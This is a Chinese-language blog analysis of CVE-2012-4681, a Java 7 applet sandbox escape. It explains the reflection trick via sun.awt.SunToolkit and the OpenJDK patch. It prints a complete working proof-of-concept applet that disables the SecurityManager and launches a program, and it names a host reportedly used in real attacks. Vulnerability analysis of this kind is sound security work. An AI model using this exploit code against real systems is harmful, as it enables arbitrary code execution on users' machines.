`

cve-2012-4681的分析记录

阅读更多
一、简介

       cve-2012-4681是去年8月份爆出的java沙盒的漏洞。
       漏洞是利用java的特性,从受限制的沙盒代码中调用系统信任的代码,间接修改了java.beans.Statement类的参数  
      
private final AccessControlContext acc = AccessController.getContext();

              再利用不受任何限制的statement类,disable掉沙盒的securitymanager,从而执行任意的命令。是非常严重的本地执行漏洞。
        具体的利用方式还是下面的英文描述比较简洁:

        Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using "reflection with a trusted immediate caller" to leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.

      
二、poc
       该漏洞的poc如下:
   
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
                                                                                                  
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
                                                                                                  
public class Gondvv extends Applet
{
                                                                                                  
    public Gondvv()
    {
    }
                                                                                                  
    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }
                                                                                                  
    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }
                                                                                                  
    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }
                                                                                                  
    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }
                                                                                                  
    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

         在浏览器中正确运行该applet,可以弹出计算器。(限定windows系统 )  
    
三、poc分析
       从poc的源代码可以看出,该poc的关键点在于disableSecurity()这个函数。  
  
 public void disableSecurity()
      throws Throwable
  {
      Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1])  
                                            
      //首先定义一个statement,该statement用于调用System.setSecurityManager(null),从而将当前沙盒的保护者---SecurityManager干掉
                                           
     Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
      AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
          localProtectionDomain
      });
      // 定义一个拥有所有特权的AccessControlContext对象
      SetField(Statement.class, "acc", localStatement, localAccessControlContext);
      // 使用特权的AccessControlContext替换statement中的acc变量,从而使当前的statement实例拥有特权,在调用System.setSecurityManager(null)的时候不会被沙盒拦截
      localStatement.execute();
  }

突破沙盒的关键在于将Statement中的acc变量,替换为高权限的acc,而替换的方式便在SetField这个函数中。
   
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
       throws Throwable
   {
       Object arrayOfObject[] = new Object[2];
       arrayOfObject[0] = paramClass;
       arrayOfObject[1] = paramString;
       Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
                                        
       // GetClass函数其实就是用反射的方式调用了Class.forName的方法,获取了sun.awt.SunToolkit实例.Expression表达式进一步调用了sun.awt.SunToolkit的代码,执行了其中的getField函数,这个函数返回的结果就是statement实例的acc变量
       localExpression.execute();
       ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
       // 将其赋值
   }


    为了更明确的弄清这个问题,我们可以反过来思考。
       过程如下: 
      1、首先我们已经知道了我们的目的,就是突破沙盒执行任意java代码。沙盒是由securityManager保护的,我们干掉他就大功告成
      2、Statement类可以利用反射的方式执行java代码,但是它有一个成员变量叫acc,实例其实是一个accessControlContext。我们直接用statement执行               
高权限的代码是不行的,因为会被acc所获取的当前沙盒的权限所限制。如果我们把acc这玩意儿替换掉,就能执行任意代码了,其中就包括干掉securitymanager。这其中就一个困难点就是acc变量时private的。    
      3、我们发现有一个类可以帮我们达成这个目的,sun.awt.SunToolkit中有一个叫做getField的方法,这个方法可以修改任意对象的任意成员变量。
      4、现在的问题就变成了,如何调用getField方法。对于applet中的代码来说,sun.*.*下面的包是不能直接访问,如果直接访问会产生如下图所示的错误。
   

         于是这个问题就化简成两点:1、获取sun.awt.SunToolkit实例。 2、调用该实例的getField方法。(跟doPrivileged没啥关系)
            "reflection with a trusted immediate caller",这个java特性帮我们解决了这两个问题。  

             http://www.oracle.com/technetwork/java/seccodeguide-139067.html 这篇文章的9-8解释了这个问题。  
            http://security.stackexchange.com/questions/19565/why-do-some-java-apis-bypass-standard-securitymanager-checks/37920#37920
            这篇提问的答案则解释了为什么会有"reflection with a trusted immediate caller"这个特性
  
      
四、修补方式
       查看源码可以知道修补方式 
       http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/2c58f14f60c7
   
--- a/src/share/classes/com/sun/beans/finder/MethodFinder.java  Mon Aug 13 14:20:05 2012 -0700
+++ b/src/share/classes/com/sun/beans/finder/MethodFinder.java  Tue Jun 19 20:06:56 2012 +0400
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
  * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
  *
  * This code is free software; you can redistribute it and/or modify it
@@ -33,6 +33,8 @@ import java.lang.reflect.Type;
 import java.lang.reflect.Type;
 import java.util.Arrays;
        
+import static sun.reflect.misc.ReflectUtil.isPackageAccessible;
+
 /**
  * This utility class provides {@code static} methods
  * to find a public method with specified name and parameter types
@@ -120,7 +122,7 @@ public final class MethodFinder extends 
      */
     public static Method findAccessibleMethod(Method method) throws NoSuchMethodException {
         Class<?> type = method.getDeclaringClass();
-        if (Modifier.isPublic(type.getModifiers())) {
+        if (Modifier.isPublic(type.getModifiers()) && isPackageAccessible(type)) {
             return method;
         }
         if (Modifier.isStatic(method.getModifiers())) {     

      添加了isPackageAccessible(type)这个校验,这样就没有办法在低权限的代码中调用高权限的方法了。  

五、其他
       该漏洞的补丁其实只补了ConstructorFinder/FieldFinder/MethodFinder三个类,但是并没有涉及到ClassFinder,有意思的是下一次更改就修补了ClassFinder(http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/dfffff29f870),修补说明是XMLDecoder security issue via ClassFinder.
       这个漏洞被定义为CVE-2012-1682,目前为止我还没有找到poc.。
  • 大小: 15 KB
分享到:
评论

相关推荐

    hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip

    CVE(Common Vulnerabilities and Exposures)是一种全球公认的系统,用于识别和记录已知的安全漏洞。CVE-2017-7921是一个已公开的漏洞ID,意味着这个问题已经被研究,可能有相应的补丁或解决方案发布。 压缩包内的...

    CVE-2012-2022 mysql.zip

    "CVE-2012-2022 mysql.zip" 这个标题提到了一个特定的安全漏洞标识符 "CVE-2012-2022",以及与该漏洞相关的数据库系统 "mysql"。CVE,全称“Common Vulnerabilities and Exposures”,是用于识别已知安全漏洞的全球...

    CVE-2011-2140.zip

    CVE(Common Vulnerabilities and Exposures)是一种全球性的标准,用于识别和记录网络安全漏洞。每个CVE ID都是一个唯一的数字代码,用来唯一地标识一个已知的安全漏洞。这里的"CVE-2011-2140"是在2011年发现的一个...

    CVE-2018-8120.zip

    CVE(Common Vulnerabilities and Exposures)是一种全球性的标准,用于识别和记录网络安全漏洞。 CVE-2018-8120 是在2018年被发现并编号的一个特定漏洞,它可能影响了某个软件或系统,对网络安全构成威胁。 【描述...

    cve-2012-0158分析调试报告.doc

    ### CVE-2012-0158分析与调试报告 #### 漏洞概述 CVE-2012-0158是存在于Microsoft Windows Common Controls组件中的一种安全漏洞,具体涉及到MSCOMCTL.OCX控件。此控件广泛应用于Windows系统中,用于提供诸如列表框...

    WordPress 5.8.3 SQL注入漏洞 CVE-2022-21661.pdf

    分析这个漏洞,关键在于插件中对`WP_Query`的使用。为了测试和重现该漏洞,可以创建一个简单的插件,从https://github.com/WordPress/WordPressgit checkout 266c58518846获取示例代码,然后将PHP代码打包成ZIP文件...

    cve-2020-8840.zip

    这可能导致返回所有管理员用户的记录,而非预期的单个用户。 **漏洞影响** CVE-2020-8840对受感染系统的潜在影响非常严重,因为 LDAP 通常用于存储重要的认证信息,如用户名、密码哈希以及用户的角色和权限。一旦...

    【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题 .pdf

    【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题,这是一个关于Oracle WebLogic服务器安全漏洞的研究报告。该漏洞编号为CVE-2021-2135,涉及WebLogic服务器中的反序列化问题,可能导致远程代码执行(RCE...

    CVE-2023-25157-main(1).zip

    **CVE-2023-25157** 是一个特定的漏洞标识符,用于追踪和记录这个安全问题。CVE(Common Vulnerabilities and Exposures)是全球公认的标准,用于识别和报告安全漏洞。这个编号表示GeoServer在处理用户输入时存在一...

    tomcat 升级到8.5.99后,系统启动不起来问题(修复 CVE-2024-24549 拒绝访问漏洞)

    3. **分析POM文件**:分析`tomcat-embed-core-8.5.98fixhttp.pom`,看看新版本引入了哪些依赖和更改。 4. **更新应用程序代码**:如果API有变化,需要更新应用程序以适应新版本。 5. **调整配置**:检查配置文件,...

    tiki组件:CVE-2020-15906 &amp;&amp; CVE-2021-26119复现

    6. **记录和分析**:记录攻击过程和结果,分析漏洞的严重性和利用难度,以便于修复和预防。 在压缩包文件“tiki-21.1”中,可能包含了用于复现这两个漏洞的详细步骤、工具、代码示例或者是受影响的Tiki版本。通过...

    CVE-2023-32315-Openfire-Bypass-main.zip

    在 Openfire 的情况下,攻击者可能能够访问到用户的私人聊天记录、联系人列表等敏感数据,或者执行未授权的操作,如修改用户权限、发送恶意消息等。 **漏洞成因** Openfire 在处理特定请求时可能存在逻辑错误或...

    CVE-2018-2628-master.zip

    2. **漏洞分析**:深入理解CVE-2018-2628的原理,研究公开的PoC(Proof of Concept)代码。 3. **漏洞复现**:使用PoC代码或自行编写的攻击脚本,尝试连接到目标WebLogic Server并触发漏洞。 4. **结果验证**:如果...

    CVE-2020-2555:CVE-2020-2555 Python POC

    CVE(Common Vulnerabilities and Exposures)是一个公开的、全球统一的安全漏洞数据库,用于记录和分配唯一的安全漏洞标识符。 描述中的"python CVE-2020-2555.py ip port test.ser"指示了利用此漏洞的方法。这是...

    CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】.doc

    CVE-2022-30190 Follina Office RCE分析 CVE-2022-30190 Follina Office RCE是一种Office远程代码执行漏洞,allowing attackers to execute arbitrary code on a vulnerable system through a specially crafted ...

    Kinesys-Nintendo-CVE-2018-6242:任天堂CVE 2018-6242

    CVE(Common Vulnerabilities and Exposures)是一个全球性的公开数据库,用于识别和记录网络安全漏洞。每个CVE ID都对应一个特定的、已知的弱点,便于安全专业人员跟踪和解决。 任天堂作为全球知名的电子游戏公司...

    CVE-2015-1701:APT攻击中使用的Win32k LPE漏洞

    5. **监控和审计**:定期进行系统和网络监控,记录和分析日志以发现潜在威胁。 在提供的压缩文件"CVE-2015-1701-master"中,可能包含了关于这个漏洞的详细分析、复现代码、PoC(Proof of Concept)或者缓解措施的...

    CVE-2020-8638

    【CVE-2020-8638】:这是一个重要的安全漏洞,它在2020年被发现并记录。CVE(Common Vulnerabilities and Exposures)是一种全球公认的系统,用于唯一标识网络安全漏洞,使得安全专家、开发人员以及用户能够迅速识别...

    CVE-2022-4510:Binwalk 远程代码执行漏洞

    本文将深入探讨一个与二进制分析工具相关的安全事件,即"CVE-2022-4510:Binwalk 远程代码执行漏洞"。Binwalk是一款广泛使用的开源工具,主要用于固件分析、逆向工程和提取嵌入式系统的固件图像。这个漏洞可能导致...

    cve-2019-1458_POC:cve-2019-1458的POC

    CVE-2019-1458:从``在野外报道''到POC介绍卡巴斯基在12月发表了一篇关于的博文。 这引起了我的兴趣,因为尽管他们描述了漏洞利用的工作方式,但他们在分析中未提供任何POC。 这就是为什么我决定尝试根据卡巴斯基的...

Global site tag (gtag.js) - Google Analytics